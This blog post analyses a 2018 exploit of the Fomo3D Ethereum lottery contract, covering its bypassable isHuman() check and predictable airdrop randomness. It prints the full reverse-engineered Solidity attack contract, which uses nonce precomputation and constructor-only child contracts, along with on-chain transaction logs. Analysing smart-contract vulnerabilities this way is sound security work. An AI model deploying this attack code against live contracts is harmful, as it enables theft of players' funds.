Randomness in smart contracts is predictable and vulnerable: Fomo3D — Part 1

Zhongqiang Chen
10 min readSep 3, 2019

--

Overview of Dapp Fomo3D

The Fomo3D is a lottery game that is built as a decentralized application (Dapp) in which the last person to buy a key at the end of a round wins the pot. During a round, players can purchase 1 or more keys which resets the timer marking them as the current leader. With each key purchase during the round, the key price increases slightly. Players receive a stream of passive income from the game as keys are bought during the round. When the timer reaches zero, last person to buy a key wins.

In order to prevent contracts from interacting with Fomo3D, the creator of the Fomo3D contract designed a mechanism to distinguish human from contracts. The mechanism is implemented as a function (a special kind of functions) in the contract, which looks like the following.

contract FoMo3Dlong is modularLong {
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
}

Essentially, the modifier isHuman() simply check whether or not there is any code associated with the account: it is an externally owned account (EOA) if there is no code in the account, otherwise, it is a smart contract.

There is only one “minor” problem in this mechanism, when a smart contract is created, its constructor is first executed and during its constructor execution, the code of the contract has not been stored in the storage yet and therefore its code size is still zero.

Almost all functions in Fomo3D contract use modifier isHuman() as a precondition for them to work. For example, the fallback function and withdraw() function of Fomo3D contract are guarded with this modifier along with other modifiers.

contract FoMo3Dlong is modularLong {
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
}

If the caller of these functions is identified as non-human, these functions simply revert with a message saying “sorry humans only”.

Basically, the fallback function performs an emergency buy for the caller by using the caller’s last stored affiliate code and team name. On the other hand, function withdraw() allows caller to withdraw all of his earnings from Fomo3D contract.

It looks like an exciting Dapp game, except that there is a little issue in its isHuman() modifier, right? But who cares?

Let us deploy it and play to win the airdrops as well as the prizes.

Here is the information on Fomo3D deployment.

Fomo3D contract address:
0xA62142888ABa8370742bE823c1782D17A0389Da1
Fomo3D contract creator:
0xF39e044e1AB204460e06E87c6dca2c6319fC69E3
on 09/03/2019:
Balance: 1,260.669837135747845931 Ether
EtherValue: $226,933.18 (@ $180.01/ETH)
information on transaction that deployed Fomo3D contractTransaction Hash: 0xf63e775e10b0f662574ab49cd4c080ddcda8ca7d0012b5f0fbf0b03ad1c977ac
Status: Success
Block: 5915466 2563715 Block Confirmations
Timestamp: 424 days 8 hrs ago (Jul-06-2018 11:17:45 AM +UTC)
From: 0xf39e044e1ab204460e06e87c6dca2c6319fc69e3
To: [Contract 0xa62142888aba8370742be823c1782d17a0389da1 Created] (Fomo3D: Long)
Value: 0 Ether ($0.00)
Transaction Fee: 0.50999404562435 Ether ($92.10)
Gas Limit: 6,500,000
Gas Used by Transaction: 6,181,746 (95.1%)
Gas Price: 0.000000082500000101 Ether (82.500000101 Gwei)
Nonce Position 75 37
Input Data: (omitted)

It can be seen that the Fomo3D contract was deployed on Jul-06–2018 11:17:45 AM, and its address is 0xA62142888ABa8370742bE823c1782D17A0389Da1. Also, 95.1% of the gas limit, which is set to a very high value 6,500,000, has been used, indicating that the contract is quite large and expensive to deploy.

Up to now (09/03/2019), it already generated 244,960 transactions.

Attack on Fomo3D

One of the attractions to players is to win airdrop. That idea is also attractive to hackers as well. So, how are winners of airdrop determined? It is drawn completely based on random numbers. To generate random numbers on blockchains, the Fomo3D contract utilizes multiple sources of randomness such as block creation time, miner address of current block, and the address of current player. The formula for airdrop computation is as follows.

contract FoMo3Dlong is modularLong {
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
}

At the first thought, the sources used for random number generation are indeed random and unpredictable. The truth is that the random source used by the airdrop game to control the probability of winning can be obtained in advance. More specifically, the information related to block such as timestamp, difficulty, and gas limit is known during the block generation. Also, if the player is an EOA, his address is of course known in advance, and if the player is a smart contract, its address can be computed solely based on its creator’s address and nonce.

In short, whether or not the caller of function airdrop() can be the winner is predictable, thus, the random number generation in Fomo3D is vulnerable to attack.

The problem is: is the profit gain of attacking such a vulnerability larger than the cost of launching the attack?

According to the code of the Fomo3D, any purchase larger than 0.1 Ether gets a chance to win 25% of some in-game stash. Therefore, the pot size can also be computed in advance.

One attacker indeed had found a way to exploit the vulnerabilities of Fomo3D and succeeded in profiting. The attacker implemented his idea in a smart contract and launched attacks through the smart contract.

Some information about the attack contract is given here.

attack contract address:
0xE7CEbc3eF3f77c314fAd5369aF26474bbff8f0e2
attack contract creator:
0x20C945800de43394F70D789874a4daC9cFA57451
history of transactions by this contract:
https://etherscan.io/address/0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2

Because the source code of the attack contract is not published by its creator and only its binary code is available, we resort to reverse engineering techniques to restore its source code. Please note that some information about the attack contract, especially those related to function and variable names, is lost in the compilation of source code to binary code, thus, the recovered source code may not be exactly the same as its original one.

The source code of the attack contract (let us named it as contract_e7ce) recovered by reverse engineering methods is as follows.

pragma solidity ^0.5.1;contract contract_e7ce {
using SafeMath for *;
// slot 0x00
address payable owner;
// slot 0x01
// getter selector: 0xaffed0e0
uint256 public nonce = 0x01;
// slot 0x02
// FoMo3Dlong contract address
address fomo3d = 0xA62142888ABa8370742bE823c1782D17A0389Da1;

constructor () public {
owner = msg.sender;
}

// function selector: 0x6d4ce63c
// code entrance: 0x0042
function get() public {
bool success = owner.send(address(this).balance);
if(!success) {
revert();
}
}

// function selector: 0x87f7d378
// code entrance: 0x0059
function exploit(uint8 count) public payable {
require(msg.sender == owner);
// 1e+17
require(msg.value == 0.1 ether);
uint256 old_balance = owner.balance; // function airDropPot_ selector: 0xd87574e0
(bool success, bytes memory data) = fomo3d.call(
abi.encodeWithSelector(0xd87574e0));
if(!success) {
revert();
}
require(data.length >= 0x20); // 5e+17
uint256 pot = abi.decode(data, (uint256));
require(pot >= 0.5 ether);
// function airDropTracker_ selector: 0x11a09ae7
(success, data) = fomo3d.call(
abi.encodeWithSelector(0x11a09ae7));
if(!success) {
revert();
}
require(data.length >= 0x20); uint256 tracker = abi.decode(data, (uint256)); uint256 try_nonce = nonce;
for (uint8 idx = 0; idx < count; idx++) {
address addr = address(uint160(bytes20(
keccak256(abi.encodePacked(
bytes1(0xd6), bytes1(0x94), address(this),
try_nonce)))));
if (airdrop(addr, tracker)) {
for (uint8 idx2 = 0; idx2 < idx; idx2++) {
new child1();
}
(new child2).value(msg.value)();
nonce = try_nonce;
break;
}
try_nonce++;
}
require(old_balance < owner.balance);
}

// internal functions

// code entrance: 0x0391
function airdrop(address addr, uint256 tracker)
private view returns (bool) {
assert(block.timestamp != 0);
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) /
block.timestamp).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(addr)))) /
block.timestamp).add
(block.number)
)));
// 0x03e8 = 1000
if ((seed - ((seed / 1000) * 1000)) < tracker) {
return true;
}
else {
return false;
}
}
}

library SafeMath {
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
}

contract child1 {
constructor () public {
}
}

contract child2 {
// slot 0x00
// FoMo3Dlong contract address
address fomo3d;

constructor () public payable {
fomo3d = 0xA62142888ABa8370742bE823c1782D17A0389Da1;
(bool success,) = fomo3d.call.value(msg.value)("");
// function withdraw selector: 0x3ccfd60b
(success,) = fomo3d.call(
abi.encodeWithSelector(0x3ccfd60b));
if(!success) {
revert();
}
selfdestruct(tx.origin);
}
}

In both contract_e7ce and its sub-contract child2, state variable “fomo3d” is set to the address of Fomo3D contract.

The main function used to launch attacks is that with selector 0x87f7d378, which is named exploit() in the source code. Within this function, the airdrop pot and tracker of Fomo3D contract are first fetched, then whether the attack contract can get the airdrop reward and the bonus is computed repeatedly by using increasing nonce until the right nonce is found or the number of tries is reached. If such a nonce is found, then contract templates child1 and child2 are used to launch the real attack against Fomo3D.

Because contract child1 is mainly used to bump the nonce of the attack contract to an appropriate position, therefore, it is an empty contract and essentially does nothing.

In comparison, contract child2 is the launch pad for the attacks against Fomo3D. As the attack is solely launched within its constructor in order to satisfy the requirement set in modifier isHuman() of Fomo3D, thus, there is no other functions other than the constructor.

Timeline of Fomo3D attacks

First, the attack contract contract_e7ce is deployed.

Transaction Hash: 0x76425fa2708258fb6914c9fc4b76f4b31dbe71fbdfc1bd644855e1efd3d4e6c0
Status: Success
Block: 5929572 2523760 Block Confirmations
Timestamp: 417 days 21 hrs ago (Jul-08-2018 09:51:24 PM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: [Contract 0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.00623687 Ether ($1.04)
Gas Limit: 623,687
Gas Used by Transaction: 623,687 (100%)
Gas Price: 0.00000001 Ether (10 Gwei)
Nonce Position 642 68
Input Data: (omitted)

The attack contract was deployed on Jul-08–2018 09:51:24 PM, while the Fomo3D contract was created on Jul-06–2018 11:17:45 AM. Clearly, it only took the attacker about 2 days to discover and find a way to exploit the vulnerability in Fomo3D.

Then, the attacker began to launch attacks.

Transaction Hash: 0x97b0433787409007ce24cc5df39ac6b47833ae4ec93e67404fdd97bc44256145
Status: Fail
Block: 5929599 2523735 Block Confirmations
Timestamp: 417 days 21 hrs ago (Jul-08-2018 09:57:40 PM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: Contract 0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2
Warning! Error encountered during contract execution [Out of gas]
Value: 0.1 Ether ($16.70) - [CANCELLED]
Transaction Fee: 0.038278288 Ether ($6.39)
Gas Limit: 2,392,393
Gas Used by Transaction: 2,392,393 (100%)
Gas Price: 0.000000016 Ether (16 Gwei)
Nonce Position 643 97
Input Data:
87f7d378
0000000000000000000000000000000000000000000000000000000000000064

The attacker invoked function with selector 0x87f7d378, which is named exploit() in the source code given above. It seems that the attacker had a bad luck because the attack did not succeed.

After several failed attempts, the attacker finally launched a successful attack and got the airdrop.

Transaction Hash: 0x1a6652ef65e671cf9caaae8f1d8cc2dea6416d53738858b8e40920c1c7e79542
Status: Success
Block: 5929635 2523695 Block Confirmations
Timestamp: 417 days 21 hrs ago (Jul-08-2018 10:07:45 PM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: Contract 0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2
TRANSFER 0.1 Ether From 0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2 To 0x121219c1f7a4d863a2727e154d1170d3ce7f4853TRANSFER 0.1 Ether From 0x121219c1f7a4d863a2727e154d1170d3ce7f4853 To 0xa62142888aba8370742be823c1782d17a0389da1TRANSFER 0.002 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444eeTRANSFER 0.002 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5TRANSFER 0.001 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7dTRANSFER 0.02 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xc7029ed9eba97a096e72607f4340c34049c7af48TRANSFER 0.19056429749749021 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0x121219c1f7a4d863a2727e154d1170d3ce7f4853TRANSFER 0.19056429749749021 Ether From 0x121219c1f7a4d863a2727e154d1170d3ce7f4853 To 0x20c945800de43394f70d789874a4dac9cfa57451SELF DESTRUCT Contract 0x121219c1f7a4d863a2727e154d1170d3ce7f4853Value: 0.1 Ether ($16.67)
Transaction Fee: 0.00701164 Ether ($1.17)
Gas Limit: 2,181,690
Gas Used by Transaction: 701,164 (32.14%)
Gas Price: 0.00000001 Ether (10 Gwei)
Nonce Position 646 65
Input Data:
87f7d378
000000000000000000000000000000000000000000000000000000000000000a

If comparing this successful transaction with the previous failed one, we can see that these two transactions have essentially the same settings including amount of Ethers carried, gas limit, and function invoked. However, they have different effects: one gets airdrop but the other gets nothing. By analyzing the source code of the attack contract, we know that the contract is in fact “stateful”, meaning that some of its storage variables, such as “nonce”, may change from one transaction to the next. Also, whether the contract will participate the Fomo3D game depends on the result of function airdrop(), which generates random number based on block time, block number, and other sources. These sources for random number generation definitely change from one call to the next.

After the attack contract decided to play the game, it will create a certain number of sub-contracts using contract child1 as the template until the nonce of the contract reaches the desired one. Then, another sub-contract using contract child2 as the template is created, and it is used to launch the real attack against Fomo3D.

The attack against Fomo3D is completed within the constructor of sub-contract child2. First, an emergency buy is performed by calling the fallback function of Fomo3D contract, and then the function withdraw() of Fomo3D is invoked. Finally, the sub-contract is self destructed.

Clearly, along with the attack, a large number of sub-contracts will be created (many child1 contracts and one child2 contract). For instance, the successful attack shown above generated the following internal transactions.

The Contract Call From 0x20c945800de43394f70d789874a4dac9cfa57451 To 0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2 Produced 13 Contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcreate_2        0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2                0xaf204622fff428c1b2cb82bbb50004537d6260ef    0 Ether 2,074,472create_3        0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2                0x3a62e45b901645c01a715047c9c3d252fa43c1ac    0 Ether 2,032,310create_4        0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2                0x260c931e6170ba3626eafc01feb48dfaefccd37f    0 Ether 1,990,147create_5        0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2                0x100bad42ec733970f43277130ca0250a21481322    0 Ether 1,947,984create_6        0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2                0x79ac22e6828ac5a92cc34dd59dd9f74bde8038a3    0 Ether 1,905,821create_7        0xe7cebc3ef3f77c314fad5369af26474bbff8f0e2                0x121219c1f7a4d863a2727e154d1170d3ce7f4853    0.1 Ether       1,863,631call_7_0       0x121219c1f7a4d863a2727e154d1170d3ce7f4853               0xa62142888aba8370742be823c1782d17a0389da1     0.1 Ether       1,807,145call_7_0_3   0xa62142888aba8370742be823c1782d17a0389da1               0xdd4950f977ee28d2c132f1353d1595035db444ee     0.002 Ether     1,496,578call_7_0_3_0        0xdd4950f977ee28d2c132f1353d1595035db444ee               0x4c7b8591c50f4ad308d07d6294f2945e074420f5     0.002 Ether     1,464,163call_7_0_4   0xa62142888aba8370742be823c1782d17a0389da1               0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d     0.001 Ether     1,463,618call_7_0_5   0xa62142888aba8370742be823c1782d17a0389da1               0xc7029ed9eba97a096e72607f4340c34049c7af48     0.02 Ether      1,446,581call_7_1_0   0xa62142888aba8370742be823c1782d17a0389da1               0x121219c1f7a4d863a2727e154d1170d3ce7f4853     0.19056429749749021 Ether       2,300suicide_7_2    0x121219c1f7a4d863a2727e154d1170d3ce7f4853              0x20c945800de43394f70d789874a4dac9cfa57451      0.19056429749749021 Ether       0

It can be seen that the first 5 internal transactions (i.e., create_2 to create_6) are used to create 5 child1 contracts, while the contract generated by internal transaction “create_7” is a child2 contract, which has address beginning with 0x1212.

The internal transaction call_7_0 is generated by the invocation of the fallback function of Fomo3D, which further triggers many message exchanges among different sub-contracts within Fomo3D game.

The internal transaction suicide_7_2 is created when child2 contract executes self-destruct command, which causes all balance of child2 contract to be transferred to the sender of the transaction (in this case, it is the account starting with 0x20c9).

References

--

--